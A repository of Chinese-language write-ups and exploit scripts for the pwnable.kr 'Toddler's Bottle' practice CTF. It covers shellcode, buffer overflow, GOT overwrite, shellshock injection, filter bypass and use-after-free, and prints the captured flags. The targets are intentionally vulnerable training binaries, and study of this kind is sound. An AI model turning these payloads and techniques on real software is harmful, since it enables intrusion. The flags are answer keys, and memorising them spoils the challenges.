├── .gitattributes ├── .gitignore ├── Toddler's Bottle ├── asm │ ├── demo.c │ ├── poc.c │ └── readme.md ├── blackjack │ └── readme.md ├── bof │ ├── exp.py │ └── readme.md ├── cmd1 │ └── readme.md ├── cmd2 │ └── readme.md ├── codemap │ └── readme.md ├── coin1 │ └── readme.md ├── col │ └── readme.md ├── fd │ └── readme.md ├── flag │ └── readme.md ├── input │ └── readme.md ├── leg │ └── readme.md ├── lotto │ ├── exp.py │ └── readme.md ├── memcpy │ ├── exp.py │ └── readme.md ├── mistake │ └── readme.md ├── passcode │ └── readme.md ├── random │ └── readme.md ├── shellshock │ └── readme.md ├── uaf │ └── readme.md └── unlink │ ├── exp.py │ ├── pic0.png │ └── readme.md ├── others ├── checksec种类.md ├── 关于IO.md └── 环境搭建.md └── readme.md /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # ignore bin file 2 | /**/bin/ 3 | a.out 4 | 5 | # Windows image file caches 6 | Thumbs.db 7 | ehthumbs.db 8 | 9 | # Folder config file 10 | Desktop.ini 11 | 12 | # Recycle Bin used on file shares 13 | $RECYCLE.BIN/ 14 | 15 | # Windows Installer files 16 | *.cab 17 | *.msi 18 | *.msm 19 | *.msp 20 | 21 | # Windows shortcuts 22 | *.lnk 23 | 24 | # ========================= 25 | # Operating System Files 26 | # ========================= 27 | 28 | # OSX 29 | # ========================= 30 | 31 | .DS_Store 32 | .AppleDouble 33 | .LSOverride 34 | 35 | # Thumbnails 36 | ._* 37 | 38 | # Files that might appear in the root of a volume 39 | .DocumentRevisions-V100 40 | .fseventsd 41 | .Spotlight-V100 42 | .TemporaryItems 43 | .Trashes 44 | .VolumeIcon.icns 45 | 46 | # Directories potentially created on remote AFP share 47 | .AppleDB 48 | .AppleDesktop 49 | Network Trash Folder 50 | Temporary Items 51 | .apdisk 52 | -------------------------------------------------------------------------------- /Toddler's Bottle/asm/demo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | int main(){ 7 | char * s = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"; 8 | int fd = syscall(2,s, O_RDONLY); 9 | if(fd==-1) 10 | printf("error"); 11 | char buf[1024]; 12 | syscall(0,fd,buf,1024); 13 | syscall(1,1,buf,1024); 14 | // int fd = open(s,O_RDONLY); 15 | // read(fd,buf,1024); 16 | // write(1,buf,1024); 17 | // close(fd); 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /Toddler's Bottle/asm/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | void func(){ 10 | __asm__( 11 | "movq $0x41414f00, %rbp\n" 12 | "push %rbp\n" 13 | "movq $0x5f73695f73696874, %rax\n" 14 | "movq %rax, (%rbp)\n" 15 | "movq $0x2e656c62616e7770, %rax\n" 16 | "movq %rax, 8(%rbp)\n" 17 | "movq $0x5f67616c665f726b, %rax\n" 18 | "movq %rax, 16(%rbp)\n" 19 | "movq $0x656c705f656c6966, %rax\n" 20 | "movq %rax, 24(%rbp)\n" 21 | "movq $0x646165725f657361, %rax\n" 22 | "movq %rax, 32(%rbp)\n" 23 | "movq $0x69665f736968745f, %rax\n" 24 | "movq %rax, 40(%rbp)\n" 25 | "movq $0x7972726f732e656c, %rax\n" 26 | "movq %rax, 48(%rbp)\n" 27 | "movq $0x6c69665f6568745f, %rax\n" 28 | "movq %rax, 56(%rbp)\n" 29 | "movq $0x695f656d616e5f65, %rax\n" 30 | "movq %rax, 64(%rbp)\n" 31 | "movq $0x6c5f797265765f73, %rax\n" 32 | "movq %rax, 72(%rbp)\n" 33 | // 'o' * 4 34 | "movq $0x6f6f6f6f6f6f6f6f, %rax\n" 35 | "movq %rax, 80(%rbp)\n" 36 | "add $84, %rbp\n" 37 | // 'o' * 72 38 | "xor %rbx, %rbx\n" 39 | "start1: cmp $9, %rbx\n" 40 | "je offset1\n" 41 | "movq %rax, (%rbp)\n" 42 | "add $8, %rbp\n" 43 | "inc %rbx\n" 44 | "jmp start1\n" 45 | // '0' * 25 + 'o' * 25 46 | "offset1: movq $0x3030303030303030, %rax\n" 47 | "xor %rbx, %rbx\n" //flag = 0 48 | "jmp offset2\n" 49 | "start2: movq $0x6f6f6f6f6f6f6f6f, %rax\n" 50 | "inc %rbx\n" 51 | "offset2: movq %rax, (%rbp)\n" 52 | "add $1, %rbp\n" 53 | "movq %rax, (%rbp)\n" 54 | "add $8, %rbp\n" 55 | "movq %rax, (%rbp)\n" 56 | "add $8, %rbp\n" 57 | "movq %rax, (%rbp)\n" 58 | "add $8, %rbp\n" 59 | "cmp $0, %rbx\n" 60 | "je start2\n" 61 | // delete 'o' * 2 62 | "sub $2, %rbp\n" 63 | "movq $0x3030303030303030, %rax\n" 64 | "movq %rax, (%rbp)\n" 65 | "add $3, %rbp\n" 66 | "movq %rax, (%rbp)\n" 67 | "add $8, %rbp\n" 68 | "movq $0x6f306f306f306f30, %rax\n" 69 | "movq %rax, (%rbp)\n" 70 | "add $8, %rbp\n" 71 | "movq $0x676e6f306f306f30, %rax\n" 72 | "movq %rax, (%rbp)\n" 73 | "add $8, %rbp\n" 74 | "xor %rax, %rax\n" 75 | "movq %rax, (%rbp)\n" 76 | //open 77 | "movq $2, %rax\n" 78 | "pop %rdi\n" 79 | "xor %rsi, %rsi\n" 80 | "movq $0x777, %rdx\n" 81 | "debug1: syscall\n" 82 | "push %rax\n" 83 | //buffer 84 | "movq $0x41414e00, %rbx\n" 85 | //read 86 | "xor %rax, %rax\n" 87 | "pop %rdi\n" 88 | "movq %rbx, %rsi\n" 89 | "movq $0x100, %rdx\n" 90 | "debug2: syscall\n" 91 | //write 92 | "mov $1, %rax\n" 93 | "mov $1, %rdi\n" 94 | "mov %rsi, %rsi\n" 95 | "mov $0x100, %rdx\n" 96 | "debug3: syscall\n" 97 | ); 98 | } 99 | 100 | char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff\x48\xC7\xC5\x00\x4F\x41\x41\x55\x48\xB8\x74\x68\x69\x73\x5F\x69\x73\x5F\x48\x89\x45\x00\x48\xB8\x70\x77\x6E\x61\x62\x6C\x65\x2E\x48\x89\x45\x08\x48\xB8\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x48\x89\x45\x10\x48\xB8\x66\x69\x6C\x65\x5F\x70\x6C\x65\x48\x89\x45\x18\x48\xB8\x61\x73\x65\x5F\x72\x65\x61\x64\x48\x89\x45\x20\x48\xB8\x5F\x74\x68\x69\x73\x5F\x66\x69\x48\x89\x45\x28\x48\xB8\x6C\x65\x2E\x73\x6F\x72\x72\x79\x48\x89\x45\x30\x48\xB8\x5F\x74\x68\x65\x5F\x66\x69\x6C\x48\x89\x45\x38\x48\xB8\x65\x5F\x6E\x61\x6D\x65\x5F\x69\x48\x89\x45\x40\x48\xB8\x73\x5F\x76\x65\x72\x79\x5F\x6C\x48\x89\x45\x48\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x48\x89\x45\x50\x48\x83\xC5\x54\x48\x31\xDB\x48\x83\xFB\x09\x74\x0D\x48\x89\x45\x00\x48\x83\xC5\x08\x48\xFF\xC3\xEB\xED\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x48\x31\xDB\xEB\x0D\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x48\xFF\xC3\x48\x89\x45\x00\x48\x83\xC5\x01\x48\x89\x45\x00\x48\x83\xC5\x08\x48\x89\x45\x00\x48\x83\xC5\x08\x48\x89\x45\x00\x48\x83\xC5\x08\x48\x83\xFB\x00\x74\xCD\x48\x83\xED\x02\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x48\x89\x45\x00\x48\x83\xC5\x03\x48\x89\x45\x00\x48\x83\xC5\x08\x48\xB8\x30\x6F\x30\x6F\x30\x6F\x30\x6F\x48\x89\x45\x00\x48\x83\xC5\x08\x48\xB8\x30\x6F\x30\x6F\x30\x6F\x6E\x67\x48\x89\x45\x00\x48\x83\xC5\x08\x48\x31\xC0\x48\x89\x45\x00\x48\xC7\xC0\x02\x00\x00\x00\x5F\x48\x31\xF6\x48\xC7\xC2\x77\x07\x00\x00\x0F\x05\x50\x48\xC7\xC3\x00\x4E\x41\x41\x48\x31\xC0\x5F\x48\x89\xDE\x48\xC7\xC2\x00\x01\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\x89\xF6\x48\xC7\xC2\x00\x01\x00\x00\x0F\x05"; 101 | 102 | int main(){ 103 | char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); 104 | int size = sizeof(stub); 105 | printf("%d\n",size); 106 | printf("hello world!\n"); 107 | memcpy(sh, stub, size); 108 | ((void (*)(void))sh)(); 109 | // func(); 110 | return 0; 111 | } 112 | -------------------------------------------------------------------------------- /Toddler's Bottle/asm/readme.md: -------------------------------------------------------------------------------- 1 | ### asm 2 | 3 | 规则: 4 | 1. 只允许open,read,write,exit这些syscall,其他都不允许 5 | 2. 给了一个mmap,固定地址,用来存放我们的东西 6 | 3. 删了'/'这个根目录,意思是只能用syscall 7 | 4. 清空了所有寄存器,尽情写shellcode吧! 8 | 5. shellcode不要超过0x1000长 9 | 10 | 思路:将下文的C翻译成机器码即可 11 | 12 | ```c 13 | char *fileName = ""; 14 | int fd = open(fileName, FLAG); //<---一般来说这个fd是3 15 | read(fd,buf,1024); 16 | write(1,buf,1024); 17 | ``` 18 | 19 | 无法运行`./asm: error while loading shared libraries: libseccomp.so.2: cannot open shared object file: No such file or directory` 20 | 21 | 依赖`apt-get install libseccomp-dev` 22 | 23 | 有个神奇的指令叫`syscall` 24 | 25 | 64位参考链接http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ 26 | 27 | 进行syscall的时候,`rax`表示编号,`%rdi %rsi %rdx %r10 %r8 %r9`表示6个参数 28 | | rax | syscall | 29 | |---|---| 30 | | 0 | read | 31 | | 1 | write | 32 | | 2 | open | 33 | 34 | 35 | 将那段C改写一下(**注意,此处的syscall函数并不是syscall指令,而是被libc包转过的syscall**) 36 | 37 | ```c 38 | int fd = syscall(2,fileName, FLAG); //<---一般来说这个fd是3 39 | syscall(0,fd,buf,1024); 40 | syscall(1,1,buf,1024); 41 | ``` 42 | 43 | 这两段C经过测试都是可以正常运行的。 44 | 45 | 所以我们需要花时间写汇编,然后转成机器码、丢上去,而且是位置无关代码。 46 | 47 | 主要思路: 48 | 49 | 1. 文件名是很长的,需要用汇编手动一个一个输入,期间夹杂的技巧也就是一些循环,jmp之类的,需要把个数严格控制好(**很容易出错的地方**) 50 | 2. 调用3次syscall,分别是open,read,write 51 | 3. 后面崩了就崩了,别管就行 52 | 53 | 54 | 主要坑点: 55 | 56 | 1. AT&T指令和Intel指令的mov、cmp啥的都是不一样的 57 | 2. 汇编有些指令的语法不容易写对 58 | 3. 大小端不分 59 | 4. `syscall`汇编指令,和`syscall()`函数是两个不同的概念!不要混淆! 60 | 5. sys_open的参数要给全。。。 61 | 6. 这题坑了我N个小时。。。报警了 62 | 63 | 基本看一遍poc就懂了 `gcc -z execstack poc.c` 64 | 65 | 最后ssh上去,在tmp下创建一个文件写入shellcode,用`nc 0 9026 < /tmp/xxx`即可 66 | 67 | flag 68 | `Mak1ng_shelLcodE_i5_veRy_eaSy` 69 | -------------------------------------------------------------------------------- /Toddler's Bottle/blackjack/readme.md: -------------------------------------------------------------------------------- 1 | ### blackjack 2 | 3 | 目标是获得100w,主要是一个逻辑错了,在int betting()里的check是胡写的 4 | 5 | flag 6 | `YaY_I_AM_A_MILLIONARE_LOL` 7 | -------------------------------------------------------------------------------- /Toddler's Bottle/bof/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | r=remote('pwnable.kr',9000) 3 | r.sendline("A"*52+"\xbe\xba\xfe\xca") 4 | # also can use pack() from pwntools 5 | # r.sendline("A"*52 + pack(0xcafebabe)) 6 | r.interactive() 7 | -------------------------------------------------------------------------------- /Toddler's Bottle/bof/readme.md: -------------------------------------------------------------------------------- 1 | ### bof 2 | 3 | nc pwnable.kr 9000 4 | 5 | `gets(char* buf)` 接收到EOF或者0x0A(\n)就停下,没有长度限制造成的溢出 6 | 7 | 由于buf在栈上,参数也在栈上,造成的数据覆盖; 8 | 虽然开启了canary保护,但在return之前就已经被getshell,所以不重要。 9 | 10 | pwntools中`pack()`会按照默认LSB的方式去将`0x12345678`变为 `str(\x78\x56\x34\x12)`的格式 11 | 12 | flag 13 | ``` 14 | daddy, I just pwned a buFFer :) 15 | ``` 16 | -------------------------------------------------------------------------------- /Toddler's Bottle/cmd1/readme.md: -------------------------------------------------------------------------------- 1 | ### cmd1 2 | 3 | 1. 破坏了环境变量PATH 4 | 2. 过滤sh flag tmp 5 | 6 | 本来打算用python跑一段,发现tmp文件被过滤了; 7 | 于是准备python -c跑一段,发现引号解析起来会bug; 8 | 最后选择直接跑进python shell自由发挥; 9 | 于是`./cmd1 "/usr/bin/python"`直接进shell,import os随意发挥 10 | 11 | flag 12 | `mommy now I get what PATH environment is for :)` 13 | 14 | 15 | 另外几种解法: 16 | 1. `./cmd1 "/bin/cat /home/cmd1/f*"` 17 | -------------------------------------------------------------------------------- /Toddler's Bottle/cmd2/readme.md: -------------------------------------------------------------------------------- 1 | ### cmd2 2 | 3 | 1. 破坏了环境变量PATH 4 | 2. 过滤 ```= PATH export / ` flag``` 5 | 6 | pwd命令是允许的,而且可以返回`/home/cmd2` 7 | 8 | 9 | password: 10 | `mommy now I get what PATH environment is for :)` 11 | 12 | 13 | flag: 14 | `FuN_w1th_5h3ll_v4riabl3s_haha` 15 | 16 | # 神奇的命令!! 17 | ``` 18 | cmd2@ubuntu:~$ ./cmd2 "command -p cat fla*" 19 | command -p cat fla* 20 | FuN_w1th_5h3ll_v4riabl3s_haha 21 | ``` 22 | -------------------------------------------------------------------------------- /Toddler's Bottle/codemap/readme.md: -------------------------------------------------------------------------------- 1 | ### codemap 2 | 3 | nc pwnable.kr 9021 4 | 5 | srand(0)导致随机数不随机,下文的srand()也是不随机的,debug时候拿关键值即可。 6 | 7 | 复制网上有人写好的ida脚本http://blog.csdn.net/hwz2311245/article/details/50555295 8 | 9 | ``` 10 | max eax: 99879, ebx: 2c91db0, 11 | second eax: 99679, ebx: 2011310, 12 | third eax: 99662, ebx: 30b47e8 13 | ``` 14 | 15 | 16 | | num | eax | ebx | string | 17 | |--|---|--|--| 18 | | 1 | 99879 | 0x02661DB0 | X12nM7yCJcu0x5u | 19 | | 2 | 99679 | 0x019E1310 | roKBkoIZGMUKrMb | 20 | | 3 | 99662 | 0x02A847E8 | 2ckbnDUabcsMA2s | 21 | 22 | 23 | 24 | ```c 25 | #include 26 | 27 | static main(){ 28 | 29 | auto max_eax, max_ebx, second_eax, second_ebx, third_eax, third_ebx; 30 | auto eax, ebx; 31 | 32 | max_eax = 0; 33 | second_eax = 0; 34 | third_eax = 0; 35 | max_ebx = 0; 36 | second_ebx = 0; 37 | third_ebx = 0; 38 | 39 | AddBpt(0x403E65); 40 | StartDebugger("","",""); 41 | auto count; 42 | for(count = 0; count < 999; count ++){ 43 | auto code = GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, -1); 44 | eax = GetRegValue("EAX"); 45 | ebx = GetRegValue("EBX"); 46 | 47 | if(max_eax < eax){ 48 | third_eax = second_eax; 49 | third_ebx = second_ebx; 50 | second_eax = max_eax; 51 | second_ebx = max_ebx; 52 | max_eax = eax; 53 | max_ebx = ebx; 54 | }else if(second_eax < eax){ 55 | third_eax = second_eax; 56 | third_ebx = second_ebx; 57 | second_eax = eax; 58 | second_ebx = ebx; 59 | }else if(third_eax < eax){ 60 | third_eax = eax; 61 | third_ebx = ebx; 62 | } 63 | } 64 | Message("max eax: %d, ebx: %x, second eax: %d, ebx: %x, third eax: %d, ebx: %x\n", max_eax, max_ebx, second_eax, second_ebx, third_eax, third_ebx); 65 | } 66 | ``` 67 | 68 | 69 | flag 70 | `select_eax_from_trace_order_by_eax_desc_limit_20` 71 | -------------------------------------------------------------------------------- /Toddler's Bottle/coin1/readme.md: -------------------------------------------------------------------------------- 1 | flag 2 | `b1NaRy_S34rch1nG_1s_3asy_p3asy` 3 | -------------------------------------------------------------------------------- /Toddler's Bottle/col/readme.md: -------------------------------------------------------------------------------- 1 | ### collision 2 | 3 | 输入char[20]转化为int[5],之后求和并且与target对比,有以下几点注意: 4 | 1. LSB格式,即可0x12345678存储为\x78\x56\x34\x12 5 | 2. 使用argv[1]接受参数,不接受的有 \x00, 0x09, \x0A, \x20, 6 | 7 | linux shell命令格式 8 | ``` 9 | ./col `python -c "print '\x??\x??'"` 10 | ``` 11 | 12 | 0x21DD09EC = 0x01010101 * 4 + 0x1DD905E8 13 | 14 | exp 15 | ``` 16 | ./col `python -c "print '\x01'*16+'\xE8\x05\xD9\x1D'"` 17 | ``` 18 | 19 | flag 20 | ``` 21 | daddy! I just managed to create a hash collision :) 22 | ``` 23 | -------------------------------------------------------------------------------- /Toddler's Bottle/fd/readme.md: -------------------------------------------------------------------------------- 1 | ### fd 2 | 3 | scp复制文件```scp -r -P2222 fd@pwnable.kr:~/fd* ./``` 4 | 5 | ignore目录格式 ```/**/bin/``` 6 | 7 | `int atoi(char * decimal)` in C likes `Integer.parseInt(String s)` in Java 8 | 9 | `read(fd, char* buf , int size)` 10 | 11 | 0->stdin 12 | 1->stdout 13 | 2->stderr 14 | 15 | 将read的第一个参数指定为stdin即可 16 | 17 | exp: 18 | 19 | ``` 20 | ./fd 4660
21 | LETMEWIN
``` 22 | -------------------------------------------------------------------------------- /Toddler's Bottle/flag/readme.md: -------------------------------------------------------------------------------- 1 | ### flag 2 | 3 | UPX壳,脱壳加载IDA即可看到明文的flag 4 | 5 | `upx -q -d flag -o core` 6 | 7 | flag 8 | `UPX...? sounds like a delivery service :)` 9 | -------------------------------------------------------------------------------- /Toddler's Bottle/input/readme.md: -------------------------------------------------------------------------------- 1 | ### input 2 | 3 | 和pwn没啥关系,就是用各种方法去过掉check 4 | 5 | 6 | 附:别人成功的脚本http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html 7 | 8 | ```c 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | int main() { 17 | char* argv[101] = {[0 ... 99] = "A"}; 18 | argv['A'] = "\x00"; 19 | argv['B'] = "\x20\x0a\x0d"; 20 | argv['C'] = "31337"; 21 | 22 | char* envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe"}; 23 | 24 | int pipe1[2], pipe2[2]; 25 | if(pipe(pipe1) < 0 || pipe(pipe2) < 0) { 26 | printf("pipe error!\n"); 27 | exit(-1); 28 | } 29 | 30 | FILE* fp = fopen("\x0a", "wb"); 31 | if(!fp) { 32 | printf("file create error!\n"); 33 | exit(-1); 34 | } 35 | fwrite("\x00\x00\x00\x00", 4, 1, fp); 36 | fclose(fp); 37 | 38 | if(fork() == 0) { 39 | // Parent processing 40 | printf("Parent processing is here...\n"); 41 | dup2(pipe1[0], 0); 42 | close(pipe1[1]); 43 | 44 | dup2(pipe2[0], 2); 45 | close(pipe2[1]); 46 | 47 | execve("/home/input/input", argv, envp); 48 | } else { 49 | // Child processing 50 | printf("Parent processing is here...\n"); 51 | write(pipe1[1], "\x00\x0a\x00\xff", 4); 52 | write(pipe2[1], "\x00\x0a\x02\xff", 4); 53 | 54 | sleep(30); 55 | } 56 | 57 | 58 | return 0; 59 | } 60 | ``` 61 | 62 | ```python 63 | python -c "print '\xde\xad\xbe\xef'" | nc 127.0.0.1 31337 64 | ``` 65 | 66 | flag 67 | `Mommy! I learned how to pass various input in Linux :)` 68 | -------------------------------------------------------------------------------- /Toddler's Bottle/leg/readme.md: -------------------------------------------------------------------------------- 1 | ### leg 2 | 3 | 考察arm汇编 4 | 5 | 1. arm的PC保存的是下 **两条** 指令的地址,因为CPU的流水线结构是三级的,key1 = 0x00008cdc+ 8 = 0x8ce4 6 | 2. thumb的PC保存的是下 **一条** 指令的地址,而且后面显式+4, 故key2 = 0x00008d04 + 4 +4 = 0x00008d0C 7 | 3. `lr`指令表示返回地址,key3 = 0x00008d80 8 | 9 | sum = 0x1a770(108400) 10 | 11 | 12 | flag: 13 | `My daddy has a lot of ARMv5te muscle!` 14 | -------------------------------------------------------------------------------- /Toddler's Bottle/lotto/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.log_level = 'debug' 4 | # r = process('./lotto') 5 | r = remote(ip,port) 6 | 7 | 8 | r.recvuntil('Exit\n') 9 | while True: 10 | r.sendline('1') 11 | r.sendline('!'*6) 12 | s = r.recvuntil('Select') 13 | if "bad" not in s: 14 | print s 15 | break 16 | r.sendline('3') 17 | -------------------------------------------------------------------------------- /Toddler's Bottle/lotto/readme.md: -------------------------------------------------------------------------------- 1 | ### lotto 2 | 3 | 问题出在这段,本来char[6]和char[6]比较只需要6次,他比较了36次,目标是让match=6 4 | ```c 5 | for(i=0; i<6; i++){ 6 | for(j=0; j<6; j++){ 7 | if(lotto[i] == submit[j]){ 8 | match++; 9 | } 10 | } 11 | } 12 | ``` 13 | lotto[]是纯随机的,submit[]可控,当后者是6个一样的时候,随便碰上一个就可以让match=6 14 | 15 | 16 | 禁用缓冲的部署方法:`socat tcp-listen:7890,fork exec:"stdbuf -i0 -o0 -e0 ./lotto"` 17 | 18 | flag: 19 | `sorry mom... I FORGOT to check duplicate numbers... :(` 20 | -------------------------------------------------------------------------------- /Toddler's Bottle/memcpy/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.log_level = 'debug' 4 | r = remote('pwnable.kr',9022) 5 | 6 | r.recvuntil(':') 7 | r.recvuntil(':') 8 | 9 | # 8-16 10 | r.recvuntil(': ') 11 | r.sendline('13') 12 | 13 | # 16-32 14 | r.recvuntil(': ') 15 | r.sendline('20') 16 | 17 | # 32-64 18 | r.recvuntil(': ') 19 | r.sendline('56') 20 | 21 | # 64-128 22 | r.recvuntil(': ') 23 | r.sendline('120') 24 | 25 | # 128-256 26 | r.recvuntil(': ') 27 | r.sendline('184') 28 | 29 | # 256-512 30 | r.recvuntil(': ') 31 | r.sendline('504') 32 | 33 | # 512-1024 34 | r.recvuntil(': ') 35 | r.sendline('1016') 36 | 37 | # 1024-2048 38 | r.recvuntil(': ') 39 | r.sendline('2040') 40 | 41 | # 2048-4096 42 | r.recvuntil(': ') 43 | r.sendline('4088') 44 | 45 | # 4096-8192 46 | r.recvuntil(': ') 47 | r.sendline('4096') 48 | 49 | flag = r.recvline_startswith('flag') 50 | print flag 51 | -------------------------------------------------------------------------------- /Toddler's Bottle/memcpy/readme.md: -------------------------------------------------------------------------------- 1 | ### memcpy 2 | 3 | 这题不会做,抄的别人的,给出链接 4 | https://etenal.me/archives/972 5 | https://github.com/FlyRabbit/pwnable 6 | 7 | 数字是 8 | 13 20 56 120 184 504 1016 2040 4088 4096 9 | 10 | flag 11 | `1_w4nn4_br34K_th3_m3m0ry_4lignm3nt` 12 | -------------------------------------------------------------------------------- /Toddler's Bottle/mistake/readme.md: -------------------------------------------------------------------------------- 1 | ### mistake 2 | 3 | 这题一下真没看出来,hint是运算符优先级 4 | 问题出在`fd = open('/home/mistake/password',O_RDONLY,0400)<0)`,文件不存在返回0,小于号优先,故fd=(0<0)=0 5 | 6 | 即fd代表标准输入,我们的读到了pw_buf里;之后用scanf将第二次输入的内容读到了pw_buf2里;所以程序完全可控 7 | 8 | exp 9 | ``` 10 | ./mistake (waiting) 0000000000
1111111111
11 | ``` 12 | 13 | flag 14 | `Mommy, the operator priority always confuses me :(` 15 | -------------------------------------------------------------------------------- /Toddler's Bottle/passcode/readme.md: -------------------------------------------------------------------------------- 1 | ### passcode 2 | 3 | `ssh passcode@pwnable.kr -p2222` 4 | 5 | 1. 看到passcode1的地方有一个任意地址写,第一反应是写返回地址,但不可行,原因是 **栈地址随机,需要info leak** 6 | 2. 所以需要去写一个不变的东西,这里选择写GOT表中被调用过的function,例如printf,fflush,exit,将其写为 **system(/bin/cat flag)** 的值 7 | 8 | 新学了一个命令来查看GOT表:`objdump -R file` 9 | 10 | ``` 11 | passcode@ubuntu:~$ objdump -R passcode 12 | 13 | passcode: file format elf32-i386 14 | 15 | DYNAMIC RELOCATION RECORDS 16 | OFFSET TYPE VALUE 17 | 08049ff0 R_386_GLOB_DAT __gmon_start__ 18 | 0804a02c R_386_COPY stdin@@GLIBC_2.0 19 | 0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 20 | 0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 21 | 0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 22 | 0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0 23 | 0804a010 R_386_JUMP_SLOT system@GLIBC_2.0 24 | 0804a014 R_386_JUMP_SLOT __gmon_start__ 25 | 0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0 26 | 0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 27 | 0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7 28 | ``` 29 | 30 | 可以看到`printf`,`fflush`,`exit`的offset而且下文有对这几个函数的调用,可以写出3个exp,即在GOT表写入0x080485E3。 31 | 32 | exp: 33 | ``` 34 | python -c 'print "A"*96 + "\x00\xa0\x04\x08" + "134514147\n"' | ./passcode 35 | python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "134514147\n"' | ./passcode 36 | python -c 'print "A"*96 + "\x18\xa0\x04\x08" + "134514147\n"' | ./passcode 37 | ``` 38 | 39 | flag: 40 | `Sorry mom.. I got confused about scanf usage :(` 41 | -------------------------------------------------------------------------------- /Toddler's Bottle/random/readme.md: -------------------------------------------------------------------------------- 1 | ### random 2 | 3 | 问题在于直接使用了stdio.h的rand(),返回结果是1804289383 4 | 5 | exp: 6 | `python -c "print 1804289383^0xdeadbeef" | ./random` 7 | 8 | 9 | flag: 10 | `Mommy, I thought libc random is unpredictable...` 11 | -------------------------------------------------------------------------------- /Toddler's Bottle/shellshock/readme.md: -------------------------------------------------------------------------------- 1 | ### shellshock 2 | 3 | 一个简单的N-day 4 | 5 | 原理是将某些string作为env解析时带来的命令注入 6 | 7 | `system("/home/shellshock/bash -c 'echo shock_me'");` 8 | 这里的echo可以被注入,可以被任意替换 9 | `export echo="() {cat flag;}"` 10 | 11 | flag 12 | `only if I knew CVE-2014-6271 ten years ago..!!` 13 | -------------------------------------------------------------------------------- /Toddler's Bottle/uaf/readme.md: -------------------------------------------------------------------------------- 1 | ### uaf 2 | 3 | 科普一个linux命令 4 | 5 | `echo -en "\x66\x66\x66\x66" > test (<=="ffff")` 6 | 7 | 问题在于`Man,Woman`指针一直都在,而指向的内存 **部分可控**,并且有 **call内存** 的行为,考察的是fastbin的申请规则。 8 | 9 | free后调用new,即可在原先位置上稍微带点限制地进行任意内容写。 10 | 11 | 先看一遍最正常的introduce的调用: 12 | ``` 13 | 0x400fcd : mov rax,QWORD PTR [rbp-0x38] <---拿到Man的指针 14 | 0x400fd1 : mov rax,QWORD PTR [rax] <---拿到Man中function所在的内存(可能叫虚表) 15 | => 0x400fd4 : add rax,0x8 <---拿到Man+8位置的东西(就是introduce()) 16 | 0x400fd8 : mov rdx,QWORD PTR [rax] 17 | 0x400fdb : mov rax,QWORD PTR [rbp-0x38] 18 | 0x400fdf : mov rdi,rax 19 | 0x400fe2 : call rdx <----call Man->introduce() 20 | ``` 21 | 22 | 23 | 到`0x400fd1`时 24 | ``` 25 | x $eax 26 | 0x204f040: 0x0000000000401570 <---Man虚函数所在的位置 27 | ``` 28 | 更大的范围 29 | ``` 30 | gdb-peda$ x/20 $eax -0x40 31 | 0x1ee7000: 0x0000000000000000 0x0000000000000031 32 | 0x1ee7010: 0x0000000000000004 0x0000000000000004 <---Man的变量 33 | 0x1ee7020: 0x0000000000000000 0x000000006b63614a <---"Jack" 34 | 0x1ee7030: 0x0000000000000000 0x0000000000000021 <---Man的变量 end 35 | 0x1ee7040: 0x0000000000401570 <---Man的虚函数表 0x0000000000000019 36 | 0x1ee7050: 0x0000000001ee7028 0x0000000000000031 37 | 0x1ee7060: 0x0000000000000004 0x0000000000000004 <---Woman的变量 38 | 0x1ee7070: 0x0000000000000000 0x000000006c6c694a <---"Jill" 39 | 0x1ee7080: 0x0000000000000000 0x0000000000000021 <---Women的变量 end 40 | 0x1ee7090: 0x0000000000401550 <--Women的虚函数表 0x0000000000000015 41 | ``` 42 | 43 | 44 | 到`0x400fd4`时 45 | ``` 46 | x/20 